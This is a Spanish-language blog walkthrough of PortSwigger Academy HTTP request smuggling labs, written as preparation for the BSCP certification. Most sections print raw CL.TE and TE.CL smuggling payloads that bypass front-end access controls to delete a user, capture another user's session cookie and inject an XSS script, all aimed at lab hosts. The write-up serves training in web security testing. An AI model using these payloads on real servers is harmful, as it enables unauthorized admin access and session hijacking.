PortSwigger Academy - HTTP Request Smuggling (Parte 1)

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a HTTP Request Smuggling. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Para que esta vulnerabilidad tenga éxito o esté presente, como veremos, hace falta que exista un frontal web y un backend o un sistema intermediario similar. Esto es, hace falta que nuestras peticiones se sincronicen de algún modo para que al llegar al backend podamos desincronizarlas. Esto no siempre es la arquitectura utilizada, por lo que en la vida real no es muy habitual encontrarse esta vulnerabilidad, aunque sus resultados en caso de hacerlo son devastadores.

CheatSheet para detectar vulnerabilidad. En ocasiones, debemos cambiar la X por una petición completa para estar seguros de que el backend la procesa. Recuerda también que debemos enviar cada petición 2 veces, sobre todo la segunda de ellas.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

7c
POST /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

Respuesta (backend): CL.CL
Rechazo (frontend): TE.CL/TE.CL
Timeout (backend): CL.TE

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 6

0

X

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 34

0

GET /404 HTTP/1.1
X-Foo: foo

Respuesta (backend): TE.TE/CL.CL
Timeout (backend): TE.CL
Envenenamiento socket (backend): CL.TE

Además de lo anterior, asegúrate de habilitar HTTP/1 connection reuse en la pestaña del Repeater, ya que esta vulnerabilidad necesita del reuso en las conexiones. También es recomendable no tener extensiones ni escaneos habilitados para evitar interferir con las respuestas.

Lab1 (Practicioner) – HTTP request smuggling, basic CL.TE vulnerability

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para forzar una petición «GPOST» al servidor backend.

Antes de comenzar con la explotación, el propio escáner nos detecta la vulnerabilidad sin mayores problemas, aunque podemos también detectarla a mano:

Como paso previo a lanzar las peticiones, recuerda desactivar el «Update Content-Length» automático y activar la visión de los caracteres especiales como «\r\n» y también cambiar el modo de HTTP/2 a HTTP/1.1, ya que si no no podemos detectar esta vulnerabilidad. Además, recuerda que debes lanzar las peticiones varias veces, especialmente en aquellas que sospeches pueden envenenar el socket hacia el servidor.

Probamos el siguiente contenido con el objetivo de determinar si estamos ante sistemas CL.TE. Enviamos la petición dos veces para evaluar la respuesta.

Content-Length: 6
Transfer-Encoding: chunked

0

X

Como vemos, tenemos éxito. Por tanto, sabemos que se está haciendo uso de CL.TE. Ahora, como tenemos que enviar un GPOST mediante la vulnerabilidad, simplemente cambiando la «X» por una «G» en la segunda petición, resolvemos el laboratorio. Hemos logrado engañar al servidor de backend, debido a que su delimitación de las peticiones no coincide con la que hace el frontal. Fíjate cómo al mandar las siguientes dos peticiones, resolvemos el laboratorio y por qué esto es así.

POST / HTTP/1.1
Host: 0ab0004503e8d5bc85502c7f0024007f.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

POST / HTTP/1.1
Host: 0ab0004503e8d5bc85502c7f0024007f.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

Tal como vemos, aunque para el frontal son dos peticiones totalmente bien formadas, para el servidor de backend, la primera petición acaba justo después del «0». Por ello, lo que ve tras esa petición es la petición «GPOST» (recuerda que entre la G y el POST no hay espacios, simplemente es por cómo lo mostramos aquí). Así las cosas, hemos hecho HTTP Request Smuggling y resuelto el laboratorio, al haber utilizado los delimitadores para enviar peticiones divididas.

Lab2 (Practicioner) – HTTP request smuggling, basic TE.CL vulnerability

Seguimos el mismo procedimiento que en el caso anterior. En este caso, no logramos obtener peticiones arbitrarias con el payload visto en el laboratorio 1, lo cual tiene lógica porque ahora no estamos ante un caso CL.TE. Probamos con un payload para TE.CL:

Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Lo enviamos en lotes de 2 peticiones usando la función de Burp Suite Professional incluida en su Repeater y, como vemos, el laboratorio debería resolverse. En caso de que no se resuelva, puedes hacerlo con HTTP Request Smuggler, extensión que permite automatizar el ataque.

Nota: este laboratorio fue muy inestable a la hora de resolverlo, por lo que podría darte problemas.

Lab3 (Practicioner) – HTTP request smuggling, obfuscating the TE header

En este caso, tenemos los dos sistemas haciendo caso a la cabecera TE. Sin embargo, si la ofuscamos incluyendo un valor incorrecto, el servidor backend hace caso a la cabecera CL. Por ello, nos sirve el payload anterior, simplemente debemos enviarlo con una cabecera extra «Transfer-Encoding» mal formada:

Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: foo

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Lab4 (Practicioner) – HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Comenzamos lanzando las dos peticiones comentadas en el inicio de este post con el objetivo de determinar los delimitadores usados por frontend y backend respectivamente:

Tal como vemos:

Resultado test 1: timeout
Resultado test 2: socket poisoning

Estamos ante un caso CL.TE. Además, ya hemos envenenado el socket para obtener la petición 404 pedida, por lo que el laboratorio queda resuelto.

Lab5 (Practicioner) – HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para forzar una petición al servidor backend.

Comenzamos lanzando las dos peticiones comentadas en el inicio de este post con el objetivo de determinar los delimitadores usados por frontend y backend respectivamente:

Resultado de la primera petición (error)

Resultado de la segunda petición (timeout)

Tal como vemos:

Resultado test 1: error
Resultado test 2: timeout

Estamos ante un caso de TE.CL. Por ello, usamos el siguiente payload:

POST / HTTP/1.1
Host: 0a37004a04c5270482528314006a004c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Lanzando las peticiones varias veces, deberíamos resolver el laboratorio.

Lab6 (Practicioner) – Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para obtener acceso al panel de administración.

Podemos proceder con el análisis a través de la CheatSheet y veríamos que estamos ante un caso de CL.TE. Para acceder al panel de administración, intentamos en primer lugar el siguiente payload:

POST / HTTP/1.1
Host: 0a08003604a31a6380ef262d008200dd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 36

0

GET /admin HTTP/1.1
X-Foo: foo

Tal como podemos ver, después de lanzar el payload obtenemos una respuesta a nuestra petición a «/admin», pero nos indica el servidor que debemos acceder de modo local. Adaptamos el payload:

POST / HTTP/1.1
Host: 0a08003604a31a6380ef262d008200dd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 53

0

GET /admin HTTP/1.1
Host: localhost
X-Foo: foo

Nuevo error obtenido al intentar acceder

De nuevo error, ya que la cabecera «Host» de la petición smuggled y la petición legítima tienen conflicto. Para resolverlo, haremos que la petición legítima forme parte del body de la smuggled para que así la cabecera solo sean datos:

POST / HTTP/1.1
Host: 0a08003604a31a6380ef262d008200dd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 116

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

a=

Petición de acceso a panel de administración exitosa

Ahora sí, accedemos al panel de administración. Para resolver el laboratorio solamente queda adaptar el payload para borrar al usuario «carlos» y lanzar la petición maliciosa para después lanzar la legítima. Dejamos aquí la maliciosa y el resto… ¡¡Es sencillo!!

POST / HTTP/1.1
Host: 0a08003604a31a6380ef262d008200dd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 139

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

a=

Lab7 (Practicioner) – Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

Podemos proceder con el análisis a través de la CheatSheet y veríamos que estamos ante un caso de TE.CL. Para acceder al panel de administración, intentamos en primer lugar el siguiente payload:

POST / HTTP/1.1
Host: 0a61008104546e778202110900c400a3.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

5f
GET /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

De nuevo, este payload nos da error «Unauthorized». Podemos seguir la misma lógica que en el caso anterior, adaptando el payload para acceder de modo local. En este caso nos ahorramos el conflicto de cabeceras al ser añadida la petición legítima como body de la smuggled:

POST / HTTP/1.1
Host: 0a61008104546e778202110900c400a3.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

70
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

Finalmente, tenemos el payload necesario para borrar el usuario «carlos» junto con la solución al laboratorio:

POST / HTTP/1.1
Host: 0a61008104546e778202110900c400a3.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

Lab8 (Practicioner) – Exploiting HTTP request smuggling to reveal front-end request rewriting

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para obtener acceso al panel de administración.

Comenzamos mapeando la aplicación y vemos que el parámetro de búsqueda se ve reflejado en la respuesta del servidor:

Valor de parámetro reflejado en respuesta

Interesante, dado que podemos intentar obtener las cabeceras incluidas por el frontend en las peticiones. Para ello, dado que sabemos que el entorno es CL.TE (podemos inferirlo de las instrucciones o probarlo si se quiere), utilizamos las siguiente petición maliciosa para hacer smuggling:

POST / HTTP/1.1
Host: 0a6900ec033141d080ee21a4006d00d7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 111

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

search=randomvalue

Como vemos en negrita, mimetizamos la petición de búsqueda y conseguimos así que las cabeceras que añade el frontend se añadan como supuesto parámetro de búsqueda. Además, ponemos 60 bytes de longitud para probar si es suficiente. Lanzamos la petición maliciosa y la original, obteniendo como respuesta de la original lo siguiente:

Bien, obtenemos una cabecera añadida. Sin embargo, queremos obtenerlas todas. Por tanto, aumentamos paulatinamente la longitud hasta llegar a la siguiente petición maliciosa:

POST / HTTP/1.1
Host: 0a6900ec033141d080ee21a4006d00d7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 112

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

search=randomvalue

Ahora tenemos todas las cabeceras. Vemos que el frontal añade «X-gXdMUT-Ip», muy probablemente para controlar accesos. Forjamos una nueva petición maliciosa de smuggling pero ahora, en lugar de querer ver las cabeceras, intentamos acceder al panel de administración:

POST / HTTP/1.1
Host: 0a6900ec033141d080ee21a4006d00d7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 131

0

GET /admin HTTP/1.1
X-gXdMUT-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

foo=foobar

Fíjate cómo en negrita añadimos la cabecera descubierta. Además, hacemos que el GET tenga un body porque así nuestra petición original, añadida a la smuggled, formará parte del body y no hará conflicto en la cabecera «Host».

Obtención de acceso a panel de administración

Tras lanzar la petición maliciosa y la original, vemos el panel de administración. Finalmente, adaptamos mínimamente el payload y resolvemos el laboratorio:

POST / HTTP/1.1
Host: 0a6900ec033141d080ee21a4006d00d7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 131

0

GET /admin/delete?username=carlos HTTP/1.1
X-gXdMUT-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

foo=foobar

Lab9 (Practicioner) – Exploiting HTTP request smuggling to capture other users’ requests

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, smuggle a request to the back-end server that causes the next user’s request to be stored in the application. Then retrieve the next user’s request and use the victim user’s cookies to access their account.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para obtener acceso como un usuario víctima a la aplicación.

Comenzamos el laboratorio confirmando la vulnerabilidad de HTTP Request Smuggling con el siguiente payload. Asumimos que el caso es CL.TE (según la descripción) y no incluimos por tanto cómo detectar este punto para no dejar muy largo el post.

POST / HTTP/1.1
Host: 0ad400e204c36899821910fc008300af.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 34

0

GET /404 HTTP/1.1
X-Foo: foo

Petición para confirmar HTTP Request Smuggling

Petición enviada para confirmar HTTP Request Smuggling

Dado que queremos exfiltrar información de una petición válida de un usuario, debemos encontrar una petición en la cual el mensaje se refleje en algún punto de la aplicación. Los comentarios en el blog siempre son buenos candidatos, por lo que observamos la petición al incluir uno de ellos y reordenamos los parámetros para poner el último el mensaje enviado:

Petición enviada para generar comentario en post

Por tanto, podemos crear el siguiente payload para ejecutar ataque de HTTP Request Smuggling con la esperanza de que la víctima acceda a la web y ejecute su petición añadida a la nuestra smuggled:

POST / HTTP/1.1
Host: 0ad400e204c36899821910fc008300af.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 336

0

POST /post/comment HTTP/1.1
Host: 0ad400e204c36899821910fc008300af.web-security-academy.net
Cookie: session=PCvWO8mZWn2qBxjDQqJuIaNvRDEPHX7v
Content-Type: application/x-www-form-urlencoded
Content-Length: 950

csrf=voc04l1OKVQRmtyVwLvaTmEXwh3or7Lp&postId=6&name=foo&email=foo%40foo.foo&website=https%3A%2F%2Ffoo.foo&comment=foo

Ponemos un Content-Length mayor de lo normal para que al mensaje se añada el contenido que queremos. Simplemente, esperando a que el usuario acceda a la web y ejecute una petición que se añadirá a nuestro mensaje, obtenemos el mismo a través de los comentarios del POST. Espera el tiempo necesario y ten paciencia antes de recargar, porque si no el que hará la petición, eres tú.

Finalmente, resolvemos el laboratorio impersonando la cookie de la víctima obtenida.

Lab10 (Practicioner) – Exploiting HTTP request smuggling to deliver reflected XSS

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para ejecutar un ataque de XSS.

POST / HTTP/1.1
Host: 0ad400e204c36899821910fc008300af.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 34

0

GET /404 HTTP/1.1
X-Foo: foo

Petición para detectar HTTP Request Smuggling

Conocido esto, evaluamos también otras vulnerabilidades. Vemos que el recurso destinado a cargar posts es vulnerable a XSS en su cabecera User-Agent:

Vulnerabilidad de XSS en petición de carga de posts

Así las cosas, podemos generar una petición como la siguiente, de modo que se haga HTTP Request Smuggling y el siguiente usuario ejecute la petición vulnerable:

POST / HTTP/1.1
Host: 0a2000c604e670fd807d3a3700a600c6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 149

0

GET /post?postId=9 HTTP/1.1
User-Agent: a"><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

Y, esperando a que la víctima lance una nueva petición, se resuelve el laboratorio.

Lab11 (Expert) – Exploiting HTTP request smuggling to perform web cache poisoning

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, perform a request smuggling attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server. The poisoned cache should alert document.cookie.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para ejecutar un ataque de Web Cache Poisoning.

Al igual que en otros laboratorios, dado el nivel de este laboratorio y su potencial extensión, se decide no incluir la solución al mismo. Además, en PortSwigger está sobradamente explicado.

Lab12 (Expert) – Exploiting HTTP request smuggling to perform web cache deception

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, perform a request smuggling attack such that the next user’s request causes their API key to be saved in the cache. Then retrieve the victim user’s API key from the cache and submit it as the lab solution. You will need to wait for 30 seconds from accessing the lab before attempting to trick the victim into caching their API key.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para ejecutar un ataque de Web Cache Deception.